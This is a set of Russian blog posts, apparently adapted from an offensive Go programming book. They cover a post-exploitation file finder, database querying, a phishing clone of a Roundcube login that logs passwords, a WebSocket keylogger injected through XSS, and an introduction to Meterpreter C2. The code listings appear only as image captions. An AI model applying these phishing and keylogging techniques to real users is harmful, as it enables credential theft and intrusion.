В этом разделе мы создадим утилиту, рекурсивно обходящую предоставленный пользователем путь файловой системы, сопоставляя ее содержимое со списком имен файлов, интересующих нас в процессе постэксплуатации. Эти файлы могут содержать помимо прочего личную информацию, имена пользователей, пароли и логины системы.

Данная утилита просматривает именно имена файлов, а не их содержимое. При этом скрипт существенно упрощается тем, что пакет Go path/filepath предоставляет стандартную функциональность, с помощью которой можно эффективно обходить структуру каталогов. Сама утилита приведена в коде ниже.

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Обход файловой системы /filesystem/main.go

В отличие от реализации майнеров данных из БД, настройка и логика инструмента для кражи информации из файловой системы могут показаться слишком простыми. Аналогично тому, как мы создавали реализации для баз данных, вы определяете список для определения интересующих имен файлов. Чтобы максимально сократить код, мы ограничили этот список всего несколькими элементами, но его вполне можно расширить, чтобы он стал более практичным.

Далее идет определение функции walkFn(), которая принимает путь файла и ряд дополнительных параметров. Эта функция перебирает список регулярных выражений в поиске совпадений, которые выводит в stdout. Функция walkFn() используется в функции main() и передается в качестве параметра в filepath.Walk(). Walk() ожидает два параметра — корневой путь и функцию (в данном случае walkFn()) — и рекурсивно обходит структуру каталогов, начиная с переданного корневого пути и попутно вызывая walkFn() для каждого встречающегося каталога и файла.

Написав утилиту, перейдите на рабочий стол и создайте следующую структуру каталогов:

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Выполнение утилиты в отношении той же папки targetpath производит следующий вывод, подтверждая, что код работает исправно:

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Вот и все, что касается данной темы. Вы можете улучшить этот образец кода, включив в него дополнительные регулярные выражения. Я также посоветую вам доработать его, применив проверку regex только для имен файлов, но не каталогов. Помимо этого, рекомендую найти и отметить конкретные файлы с недавним временем доступа или внесения изменений. Эти метаданные могут привести к более важному содержимому, включая файлы, используемые в значимых бизнес-процессах.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 11

Подключение к базам данных и запрос информации с помощью Go

Подключение к базам данных и запрос информации с помощью Go Информационная безопасность, Хакеры, Golang, Программирование, Безопасность, IT, Взлом, Программист, Длиннопост

Запрос данных из MongoDBL:


Несмотря на наличие прекрасного стандартного 𝗦𝗤𝗟-пакета, 𝗚𝗼 не поддерживает аналогичный пакет для работы с базами данных 𝗡𝗼𝗦𝗤𝗟. Для этого вам придется использовать сторонние инструменты. Вместо изучения реализации каждого такого стороннего пакета мы сосредоточимся исключительно на 𝗠𝗼𝗻𝗴𝗼𝗗𝗕. Для этого будем применять драйвер 𝗺𝗴𝗼 (произносится «манго»). Начните с установки 𝗺𝗴𝗼:

Подключение к базам данных и запрос информации с помощью Go Информационная безопасность, Хакеры, Golang, Программирование, Безопасность, IT, Взлом, Программист, Длиннопост

Теперь можно установить подключение и запросить коллекцию 𝘀𝘁𝗼𝗿𝗲 (эквивалент таблицы), для чего потребуется еще меньше кода, чем в примере с 𝗦𝗤𝗟, который мы создадим чуть позже.

Подключение к базам данных и запрос информации с помощью Go Информационная безопасность, Хакеры, Golang, Программирование, Безопасность, IT, Взлом, Программист, Длиннопост

Подключение к базе данных MongoDB и запрос данных

Сначала идет определение типа 𝗧𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻, который будет представлять один документ из коллекции 𝘀𝘁𝗼𝗿𝗲. Внутренний механизм представления данных в 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 — это двоичный 𝗝𝗦𝗢𝗡. По этой причине для определения любых директив маршалинга используются теги. В этом случае с их помощью мы явно определяем имена элементов для применения в двоичных данных 𝗝𝗦𝗢𝗡.

В функции 𝗺𝗮𝗶𝗻() вызов 𝗺𝗴𝗼.𝗗𝗶𝗮𝗹() создает сессию, устанавливая подключение к базе данных, выполняя тестирование на наличие ошибок и реализуя отложенный вызов для закрытия сессии. После этого с помощью переменной 𝘀𝗲𝘀𝘀𝗶𝗼𝗻 запрашивается база данных 𝘀𝘁𝗼𝗿𝗲, откуда извлекаются все записи коллекции 𝘁𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻𝘀. Результаты мы сохраняем в срезе 𝗧𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻 под названием 𝗿𝗲𝘀𝘂𝗹𝘁𝘀. Теги структуры используются для демаршалинга двоичного 𝗝𝗦𝗢𝗡 в определенный нами тип. В завершение выполняется перебор результатов и их вывод на экран. И в этом случае, и в примере с 𝗦𝗤𝗟 из следующего раздела вывод должен выглядеть так:

Подключение к базам данных и запрос информации с помощью Go Информационная безопасность, Хакеры, Golang, Программирование, Безопасность, IT, Взлом, Программист, Длиннопост


Обращение к базам данных SQL:



𝗚𝗼 содержит стандартный пакет 𝗱𝗮𝘁𝗮𝗯𝗮𝘀𝗲/𝘀𝗾𝗹, который определяет интерфейс для взаимодействия с базами данных 𝗦𝗤𝗟 и их аналогами. Базовая реализация автоматически включает такую функциональность, как пул подключений и поддержка транзакций. Драйверы базы данных, соответствующие этому интерфейсу, автоматически наследуют эти возможности и, по сути, являются взаимозаменяемыми, поскольку 𝗔𝗣𝗜 между ними остается согласованным. Вызовы функций и реализация в коде идентичны независимо от того, используете вы 𝗣𝗼𝘀𝘁𝗴𝗿𝗲𝘀, 𝗠𝗦𝗦𝗤𝗟, 𝗠𝘆𝗦𝗤𝗟 или другой драйвер. В результате этого удобно менять серверные базы данных при минимальном изменении кода клиента. Конечно же, эти драйверы могут реализовывать специфичные для БД возможности и задействовать различный 𝗦𝗤𝗟-синтаксис, но вызовы функций при этом практически одинаковы. Поэтому мы покажем, как подключать всего одну базу данных 𝗦𝗤𝗟 — 𝗠𝘆𝗦𝗤𝗟, а остальные БД 𝗦𝗤𝗟 оставим в качестве самостоятельного упражнения. Начнем с установки драйвера:

Подключение к базам данных и запрос информации с помощью Go Информационная безопасность, Хакеры, Golang, Программирование, Безопасность, IT, Взлом, Программист, Длиннопост

Далее создадим простой клиент, который подключается к этой базе данных и извлекает информацию из таблицы transactions, как показано в коде ниже.

Подключение к базам данных и запрос информации с помощью Go Информационная безопасность, Хакеры, Golang, Программирование, Безопасность, IT, Взлом, Программист, Длиннопост

Код начинается с импорта пакета 𝗚𝗼 𝗱𝗮𝘁𝗮𝗯𝗮𝘀𝗲/𝘀𝗾𝗹. Это позволяет реализовать взаимодействие с базой данных через удобный интерфейс стандартной библиотеки 𝗦𝗤𝗟. Кроме того, мы импортируем драйвер базы данных. Начальное подчеркивание указывает на то, что она импортируется анонимно, то есть ее экспортируемые типы не включаются, но драйвер регистрируется пакетом 𝘀𝗾𝗹, и в результате драйвер 𝗠𝘆𝗦𝗤𝗟 сам обрабатывает вызовы функций.

Далее идет вызов 𝘀𝗾𝗹.𝗢𝗽𝗲𝗻() для установки подключения к базе данных. Первый параметр указывает, какой драйвер использовать — в данном случае это 𝗺𝘆𝘀𝗾𝗹, а второй определяет строку подключения. Затем мы обращаемся к базе данных, передавая инструкцию 𝗦𝗤𝗟 для выбора всех строк из таблицы 𝘁𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻𝘀, после чего перебираем эти строки, последовательно считывая данные в переменные и выводя значения.

Это все, что необходимо для запроса данных из 𝗠𝘆𝗦𝗤𝗟. Для использования другой серверной БД потребуется внести в код лишь минимальные изменения:

  • импортировать подходящий драйвер базы данных;

  • изменить передаваемые в sql.Open() параметры;

  • скорректировать SQL-синтаксис в соответствии с требованиями серверной базы данных.

Среди нескольких доступных драйверов баз данных часть написаны на чистом 𝗚𝗼. А некоторые другие используют 𝗰𝗴𝗼 для ряда внутренних взаимодействий. Полный список доступных драйверов можно найти здесь: 𝗵𝘁𝘁𝗽𝘀://𝗴𝗶𝘁𝗵𝘂𝗯.𝗰𝗼𝗺/𝗴𝗼𝗹𝗮𝗻𝗴/𝗴𝗼/𝘄𝗶𝗸𝗶/𝗦𝗤𝗟𝗗𝗿𝗶𝘃𝗲𝗿𝘀/.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 5

Взлом баз данных и файловых систем

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Настройка баз данных с помощью Docker:


В этой статье мы установим различные системы баз данных, а затем заполним их информацией, которую сами же и будем красть в последующих примерах. Везде, где возможно, используем 𝗗𝗼𝗰𝗸𝗲𝗿 из-под виртуальной машины 𝗨𝗯𝘂𝗻𝘁𝘂 𝟭𝟴.𝟬𝟰. 𝗗𝗼𝗰𝗸𝗲𝗿 — это платформа создания контейнеров ПО, упрощающая развертывание приложений и управление ими. Она дает возможность связывать программы упрощающим развертывание способом. При этом контейнер остается отделенным от операционной системы, что предотвращает «загрязнение» хостовой машины. Это очень классная штука.

Для данной главы мы задействуем несколько предварительно настроенных образов 𝗗𝗼𝗰𝗸𝗲𝗿 для баз данных, с которыми будем работать. Если 𝗗𝗼𝗰𝗸𝗲𝗿 у вас еще не установлен, то инструкции по его установке в 𝗨𝗯𝘂𝗻𝘁𝘂 вы найдете здесь: 𝗵𝘁𝘁𝗽𝘀://𝗱𝗼𝗰𝘀.𝗱𝗼𝗰𝗸𝗲𝗿.𝗰𝗼𝗺/𝗶𝗻𝘀𝘁𝗮𝗹𝗹/𝗹𝗶𝗻𝘂𝘅/𝗱𝗼𝗰𝗸𝗲𝗿-𝗰𝗲/𝘂𝗯𝘂𝗻𝘁𝘂/

Мы намеренно опустили детали настройки экземпляра Oracle. Несмотря на то что Oracle предоставляет образы виртуальных машин, которые можно скачать и использовать для создания тестовой БД, мы посчитали, что знакомить вас со всеми этими действиями необязательно, поскольку они аналогичны приводимым далее примерам с MySQL. Поэтому реализация версий программы с применением Oracle остается для вас домашним заданием.


Установка и заполнение MongoDB:



𝗠𝗼𝗻𝗴𝗼𝗗𝗕 — это единственная база данных 𝗡𝗼𝗦𝗤𝗟, с которой мы будем работать в этой главе. В отличие от традиционных реляционных БД, она не взаимодействует посредством 𝗦𝗤𝗟. Вместо этого 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 для извлечения данных и управления ими использует понятный синтаксис 𝗝𝗦𝗢𝗡. Этому виду баз данных посвящены целые книги, и ее подробное рассмотрение выходит за рамки изучения нашего материала. На данном этапе мы с вами установим образ 𝗗𝗼𝗰𝗸𝗲𝗿 и заполним его фиктивными данными.

В отличие от стандартных баз данных 𝗦𝗤𝗟, 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 не имеет схемы, то есть не придерживается предопределенной жесткой системы организации табличных данных. Это объясняет, почему в коде Внедрение транзакций в коллекцию MongoDB вы видите только команды 𝗶𝗻𝘀𝗲𝗿𝘁 без каких-либо определений схем. Начнем с установки образа 𝗗𝗼𝗰𝗸𝗲𝗿 𝗠𝗼𝗻𝗴𝗼𝗗𝗕:

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Эта команда скачает образ 𝗺𝗼𝗻𝗴𝗼 из репозитория 𝗗𝗼𝗰𝗸𝗲𝗿, запустит новый экземпляр 𝘀𝗼𝗺𝗲-𝗺𝗼𝗻𝗴𝗼 (имя можете дать любое) и сопоставит локальный порт 𝟮𝟳𝟬𝟭𝟳 с портом контейнера 𝟮𝟳𝟬𝟭𝟳. Сопоставление портов необходимо, поскольку так мы получаем возможность обращаться к экземпляру базы данных непосредственно из операционной системы. Иначе он был бы недоступен. Проверьте, запустился ли контейнер автоматически, сделав вывод всех выполняющихся контейнеров:

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Если автоматически он не запускается, выполните:

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Команда 𝘀𝘁𝗮𝗿𝘁 должна запустить контейнер.

После этого подключитесь к экземпляру 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 с помощью команды 𝗿𝘂𝗻, передав ему клиент 𝗠𝗼𝗻𝗴𝗼𝗗𝗕. Таким образом вы можете взаимодействовать с БД для заполнения ее данными:

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Эта волшебная команда запускает второй, теперь уже одноразовый, контейнер 𝗗𝗼𝗰𝗸𝗲𝗿, в котором установлен исполняемый файл клиента 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 (то есть устанавливать его в систему хоста уже не нужно), и задействует этот контейнер для подключения к экземпляру 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗗𝗼𝗰𝗸𝗲𝗿 контейнера 𝘀𝗼𝗺𝗲-𝗺𝗼𝗻𝗴𝗼. В этом примере выполняется подключение к БД 𝘀𝘁𝗼𝗿𝗲.

В коде ниже мы вставляем массив документов в коллекцию 𝘁𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻𝘀. (Все листинги кода находятся в корне /𝗲𝘅𝗶𝘀𝘁 репозитория 𝗵𝘁𝘁𝗽𝘀://𝗴𝗶𝘁𝗵𝘂𝗯.𝗰𝗼𝗺/𝗯𝗹𝗮𝗰𝗸𝗵𝗮𝘁-𝗴𝗼/𝗯𝗵𝗴/.)

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Вот и все! Таким образом вы создали экземпляр базы данных 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 и заполнили его коллекцией 𝘁𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻𝘀, которая содержит три фиктивных документа для запросов, чем мы вскоре и займемся. Но сначала вам нужно узнать, как устанавливать и заполнять традиционные базы данных 𝗦𝗤𝗟.



Установка и заполнение баз данных PostgreSQL и MySQL:



𝗣𝗼𝘀𝘁𝗴𝗿𝗲𝗦𝗤𝗟 (также называемая 𝗣𝗼𝘀𝘁𝗴𝗿𝗲𝘀) и 𝗠𝘆𝗦𝗤𝗟 — вероятно, наиболее распространенные и хорошо известные корпоративные реляционные системы баз данных с открытым исходным кодом. При этом официальные образы 𝗗𝗼𝗰𝗸𝗲𝗿 существуют для обеих. Из-за их сходства и в основном одинакового процесса установки мы объединили здесь соответствующие инструкции.

Во-первых, как и в примере с 𝗠𝗼𝗻𝗴𝗼𝗗𝗕, сначала нужно скачать и установить подходящий образ 𝗗𝗼𝗰𝗸𝗲𝗿:

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

После сборки контейнеров убедитесь, что они работают. Если же нет, их можно запустить с помощью команды 𝗱𝗼𝗰𝗸𝗲𝗿 𝘀𝘁𝗮𝗿𝘁 𝗻𝗮𝗺𝗲. Далее можно подключиться к этим контейнерам из подходящего клиента, опять же используя образ 𝗗𝗼𝗰𝗸𝗲𝗿, чтобы избежать установки дополнительных файлов на хосте, и продолжить создавать, а затем заполнять базу данных. В коде ниже прописана логика 𝗠𝘆𝗦𝗤𝗟.

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Создание и инициализация базы данных MySQL

Этот листинг, как и последующий, начинается с одноразовой оболочки 𝗗𝗼𝗰𝗸𝗲𝗿, выполняющей соответствующий двоичный файл клиента. Она генерирует базу данных 𝘀𝘁𝗼𝗿𝗲 и подключается к ней, после чего создает таблицу 𝘁𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻𝘀. Эти два листинга идентичны, за исключением того, что связаны с разными системами БД.

В коде ниже прописана логика 𝗣𝗼𝘀𝘁𝗴𝗿𝗲𝘀, которая немного отличается синтаксисом от 𝗠𝘆𝗦𝗤𝗟.

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Создание и инициализация базы данных Postgres

В 𝗠𝘆𝗦𝗤𝗟 и 𝗣𝗼𝘀𝘁𝗴𝗿𝗲𝘀 синтаксис для внедрения транзакций идентичен. Например, в коде ниже указано, как вставить три документа в коллекцию 𝘁𝗿𝗮𝗻𝘀𝗮𝗰𝘁𝗶𝗼𝗻𝘀 𝗠𝘆𝗦𝗤𝗟.

Взлом баз данных и файловых систем Информационная безопасность, Хакеры, Программирование, Взлом, Длиннопост, Telegram (ссылка)

Вставка транзакций в базы данных MySQL

Попробуйте вставить те же три документа в свою БД Postgres.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 9

Сбор учётных данных

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Перед тем как ознакомиться с данным материалом настоятельно рекомендую ознакомиться с предыдущей статьей.

Один из столпов социального инжиниринга — это атака по сбору учетных данных. В ходе нее перехват учетной информации пользователя происходит за счет подмены оригинального сайта клонированной версией, где пользователь и вводит свои данные. Эта техника эффективна против организаций, которые предоставляют в интернете доступ к интерфейсу однофакторной аутентификации. Как только вы получили учетные данные пользователя, можете применять их для получения доступа к аккаунту на оригинальном сайте. Это зачастую приводит к прорыву сетевого периметра организации.

Go обеспечивает отличную платформу для выполнения подобных атак, потому что он быстро устанавливает новые серверы, позволяя также легко настраивать маршрутизацию и парсинг вводимой пользователем информации. В сборщик учетных данных можно добавлять множество настроек и возможностей, но в нашем примере будем придерживаться основ.

Для начала нужно сделать клон сайта, имеющего форму авторизации. Здесь можно рассмотреть множество вариантов. На практике вы будете делать копию сайта, используемого вашей мишенью. В своем примере мы будем клонировать ресурс Roundcube. Roundcube — это открытый клиент электронной почты, который применяется не так часто, как коммерческие решения наподобие Microsoft Exchange, но вполне годится для демонстрации принципа. Для запуска Roundcube мы задействуем Docker, так как он существенно упрощает процесс.

Вы можете запустить собственный сервер Roundcube, выполнив приведенный далее код. Делать это не обязательно, так как исходный код примера содержит клон данного сайта. Тем не менее для полноты информации мы включаем и этот вариант:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Эта команда запускает экземпляр Roundcube Docker. Перейдя по адресу http://127.0.0.1:80, вы увидите форму авторизации. Обычно для клонирования сайта и всех необходимых ему файлов используется wget, но задействованный в реализации Roundcube JavaScript лишает нас этой возможности. Вместо этого применим для сохранения Google Chrome. Структура каталога примера приведена в коде ниже.

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Структура каталогов

Файлы в каталоге public представляют неизмененный сайт. Вам потребуется изменить исходную форму авторизации, чтобы перенаправлять вводимые данные, отправляя их своему серверу вместо действительного. Для начала откройте public/index.html и найдите элемент формы, используемый для POST-запроса авторизации. Он должен выглядеть так:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

В этом теге нужно отредактировать атрибут action, направив его на свой сервер. Для этого измените action на /login и сохраните. Теперь эта строка должна выглядеть так:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Для корректного отображения формы авторизации и перехвата имени пользователя с паролем сначала потребуется разместить эти файлы в каталог public. Затем нужно будет написать для /login функцию HandleFunc, которая и будет выполнять перехват. Вам также потребуется сохранить полученные учетные данные в файле с помощью логирования.

Все это можно обработать буквально в нескольких строках кода, и в коде ниже вы увидите итоговую программу целиком.

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Сервер сбора учетных данных

Первое, на что следует обратить внимание, — это импорт github.com/Sirupsen/logrus. Это структурированный пакет для логирования, который мы предпочитаем задействовать вместо стандартного пакета Go log. Он предоставляет более богатые возможности настройки логирования для лучшей обработки ошибок. Чтобы использовать этот пакет, нужно, как обычно, вначале выполнить go get.

Затем мы определяем функцию-обработчик login(). Надеемся, что данный паттерн вам знаком. Внутри этой функции запись перехваченных данных реализуется с помощью log.WithFields(). При этом отображаются текущее время, пользовательский агент и IP-адрес источника запроса. Помимо этого, выполняется вызов FormValue(string) для перехвата переданных значений имени пользователя (_user) и пароля (_pass). Эти значения мы получаем из index.html, также определив расположение элементов ввода формы для каждого имени пользователя и пароля. Ваш сервер должен явно соответствовать именам полей в том виде, в каком они присутствуют в форме авторизации.

Приведенный далее фрагмент, извлеченный из index.html, показывает соответствующие вводные элементы, чьи имена для наглядности выделены жирным:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

В функции main() мы начинаем с открытия файла, в котором будут храниться перехваченные данные. Затем используем log.SetOutput(io.Writer), передавая ей только что созданный дескриптор файла для настройки пакета логирования, чтобы он производил запись в этот файл. Далее создаем новый маршрутизатор и добавляем функцию-обработчик login().

Перед запуском сервера нужно выполнить еще одно действие: сообщить маршрутизатору о необходимости предоставлять статические файлы из каталога. Таким образом, ваш сервер Go явно знает, где находятся все статические файлы — изображения, JavaScript, HTML. Go упрощает этот процесс и обеспечивает защиту против атак по обходу каталогов. Начиная изнутри, мы используем http.Dir(string) для определения каталога, из которого нужно предоставлять файлы. Результат передается в качестве ввода в http.FileServer(FileSystem), которая создает для данного каталога http.Handler. Все это прикрепляется к маршрутизатору с помощью PathPrefix(string). Использование / в качестве префикса пути будет соответствовать всем запросам, которые еще не нашли соответствия. Обратите внимание на то, что по умолчанию возвращаемый из FileServer обработчик поддерживает индексацию каталогов, что может спровоцировать утечку информации. Это можно отключить, но здесь мы данный вопрос рассматривать не будем.

В завершение, как и прежде, мы запускаем сервер. Собрав и выполнив код Сервера сбора учетных данных, откройте браузер и перейдите на http://localhost:8080. Попробуйте отправить через форму имя пользователя и пароль. Затем выйдите из программы и откройте credentials.txt:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Только взгляните на эти логи! Здесь видно, что были отправлены имя Oleg и пароль p@ssw0rd1!. Наш вредоносный сервер успешно обработал POST-запрос формы, перехватив введенные учетные данные и сохранив их в файл для просмотра офлайн. Будучи атакующим, вы могли бы затем использовать эти данные против целевой организации и продолжить внедрение в ее систему.

Далее мы проработаем вариацию этой техники по сбору учетных данных. Вместо ожидания отправки формы создадим кейлогер для перехвата нажатий клавиш в реальном времени.



Кейлогинг с помощью WebSocket API



WebSocket API (WebSockets) — это полнодуплексный протокол, чья популярность на протяжении последних лет возросла, поскольку теперь он поддерживается во многих браузерах. Этот протокол предоставляет веб-серверам и их клиентам способ эффективно взаимодействовать друг с другом. Что еще более важно, он позволяет серверу отправлять сообщения клиенту, не требуя опроса.

WebSockets применяются для создания приложений реального времени, таких как чаты и онлайн-игры. Но их можно задействовать и для вредоносных действий, например для внедрения кейлогера в приложение с целью перехвата всех нажимаемых пользователем клавиш. Для начала представьте, что нашли приложение, уязвимое для межсайтового выполнения сценариев (брешь, через которую сторонний агент может выполнять произвольный JS-код в браузере жертвы), или взломали сервер, получив возможность изменять исходный код этого приложения. При любом из этих вариантов вы сможете внедрить удаленный JS-файл. Мы с вами создадим инфраструктуру сервера для обработки WebSocket-соединения со стороны клиента и регистрации входящих нажатий клавиш.

В целях демонстрации для тестирования полезной нагрузки мы используем JS Bin (http://jsbin.com). JS Bin — это онлайн-песочница, где разработчики могут тестировать свой HTML- или JS-код. Перейдите на этот ресурс в браузере и вставьте следующий HTML в столбец слева, полностью заменив исходный код:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

В правой части экрана отобразится форма. Вы могли заметить, что включили тег script с атрибутом src, установленным как http://localhost:8080/k.js. Это будет JS-код, реализующий создание WebSocket-соединения и отправку пользовательского ввода на сервер.

Нашему серверу потребуется выполнить два действия: обработать WebSocket и предоставить JS-файл. Давайте в первую очередь покончим с JavaScript, ведь книга, в конце концов, посвящена Go. (Инструкции по написанию JS-кода с помощью Go имеются в репозитории https://github.com/gopherjs/gopherjs/.)

Вот JS-код:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Он обрабатывает события нажатия клавиш. Каждое такое нажатие этот код отправляет через WebSocket на ресурс по адресу ws://{{.}}/ws. Напомним, что значение {{.}} является полем ввода шаблона Go, отражающего текущий контекст. Этот ресурс представляет WebSocket URL, который будет вносить информацию о местоположении сервера на основе переданной в шаблон строки. Мы вернемся к этому через минуту. Для этого примера сохраним JS в файл logger.js.

Вас может смутить то, что мы вроде собирались предоставлять его как k.js. HTML-код, который мы показали ранее, тоже явно использует k.js. Что это значит? Это значит, что на деле logger.js является не JS-файлом, а шаблоном Go. Мы будем применять k.js в маршрутизаторе в качестве паттерна для сопоставления. При его совпадении сервер будет отображать шаблон из файла logger.js, заполненный контекстными данными, представляющими хост, к которому подключается WebSocket. Код сервера, реализующий этот процесс, показан в коде ниже.

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Сервер кейлогинга

Рассмотрим приведенный код подробнее. Прежде всего, обратите внимание на то, что мы используем еще одну стороннюю библиотеку, gorilla/websocket, с помощью которой обрабатываем коммуникации WebSocket. Это полноценный мощный пакет, упрощающий процесс разработки, наподобие уже знакомого вам gorilla/mux. Не забудьте сначала выполнить из терминала go get github.com/gorilla/websocket.

Затем переходим к определению нескольких переменных. Мы создаем экземпляр websocket.Upgrader, который будет добавлять в белый список каждый источник. Допуск всех источников обычно считается плохой практикой в плане безопасности, но здесь мы не придаем этому значения, поскольку работаем с тестовым экземпляром, который будем запускать на локальных рабочих станциях. Для использования в реальных вредоносных действиях источник нужно будет ограничить конкретным значением.

В функции init(), выполняющейся автоматически перед main(), мы определяем аргументы командной строки и пытаемся спарсить шаблон Go, расположенный в файле logger.js. Обратите внимание на то, что мы вызываем template.ParseFiles("logger.js"). Проверяем ответ, чтобы убедиться в успешном парсинге файла. Если все правильно, то спарсенный шаблон будет сохранен в переменной jsTemplate.

На данный момент мы еще не предоставляли контекстуальных данных шаблону и не выполняли его. Это произойдет чуть позже. Сначала идет определение функции serveWS(), которая будет использоваться для обработки WebSocket-коммуникаций. С помощью вызова upgrader.Upgrade(http.ResponseWriter, *http.Request, http.Header) мы создаем экземпляр websocket.Conn. Метод Upgrade() расширяет HTTP-соединение для использования протокола WebSocket. Это означает, что любой обрабатываемый данной функцией запрос будет расширен для использования WebSocket. Мы взаимодействуем с этим соединением внутри бесконечного цикла for, вызывая для чтения входящих сообщений conn.ReadMessage(). Если JS-код будет работать должным образом, то сообщения должны состоять из перехваченных символов нажатых клавиш. Эти сообщения и удаленный IP-адрес клиента записываются в stdout.

Мы разобрали самую сложную часть пазла создания обработчика WebSocket. Далее идет создание еще одной функции-обработчика serveFile(). Она будет извлекать и возвращать содержимое JS-шаблона, заполненного включенными контекстными данными. Для этого мы установим заголовок Content-Type как application/javascript. Это сообщит подключающимся браузерам, что содержимое тела HTTP-ответа должно рассматриваться как JavaScript. Во второй и последней строке обработчика выполняется вызов jsTemplate.Execute(w, wsAddr). Помните, как мы парсили logger.js в функции init() во время бутстрэппинга сервера? Результат был сохранен в переменной jsTemplate. Данная строка кода обрабатывает тот самый шаблон. Мы передаем ей io.Writer (в нашем случае используется w, http.ResponseWriter) и контекстные данные типа interface{}. Тип interface{} означает, что можно передать любой тип переменной, будь то строка, структура или что-то другое. В данном случае мы передаем строковую переменную wsAddr. Если вернуться назад к функции init(), то можно заметить, что эта переменная содержит адрес WebSocket-сервера и устанавливается через аргумент командной строки. Говоря кратко, она заполняет шаблон данными и записывает его как HTTP-ответ. Довольно хитро!

Мы реализовали функции-обработчики serveFile() и serveWS(). Теперь нужно только настроить маршрутизатор для сопоставления шаблонов, чтобы передавать выполнение правильному обработчику. Как и ранее, это делается в функции main(). Первый обработчик сопоставляется с URL-шаблоном /ws, выполняя функцию

serveWS для апгрейда и обработки WebSocket-соединений. Второй маршрут сопоставляется с шаблоном /k.js, выполняя функцию serveFile(). Таким образом сервер передает отрисованный JS-шаблон клиенту.

Теперь давайте этот сервер запустим. Если открыть HTML-файл, то мы увидим сообщение connection established. Оно регистрируется, так как JS-файл был успешно отрисован в браузере и запросил WebSocket-соединение. Если ввести учетные данные в элементы формы, то они будут выведены в stdout на сервере:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

У нас все получилось! На выводе мы видим список всех нажатых при заполнении формы клавиш. В данном случае это набор пользовательских учетных данных. Если у вас возникли сложности, убедитесь, что передаете в качестве аргументов командной строки точные адреса. Кроме того, сам HTML-файл может нуждаться в доработке, если вы вызываете k.js с сервера, чей адрес отличен от localhost:8080.

Приведенный код можно улучшить несколькими способами. В одном из них можно логировать вывод не в терминал, а в файл или другое постоянное хранилище. Это снизит вероятность потери данных по причине закрытия окна терминала или перезапуска сервера. К тому же если ваш кейлогер регистрирует нажатия клавиш одновременно на нескольких клиентах, данные в выводе могут смешиваться, усложняя сбор и анализ учетных данных разных пользователей. Этого можно избежать, определив более эффективный формат представления, который, например, группирует нажатые клавиши по уникальному клиенту/порту.

На этом знакомство с техниками сбора учетных данных закончено. Последним мы рассмотрим мультиплексирование HTTP‑соединений C2.



Мультиплексирование C2-соединений:



В последнем разделе главы мы покажем, как мультиплексировать HTTP-соединения Meterpreter к различным бэкенд-серверам управления. Meterpreter — это популярный гибкий инструмент исполнения команд (C2), являющийся частью фреймворка Metasploit. Здесь мы не будем излишне углубляться в подробности Metasploit или Meterpreter. Если вы с ними прежде не сталкивались, рекомендуем ознакомиться с одним из множества руководств или сайтов документации.

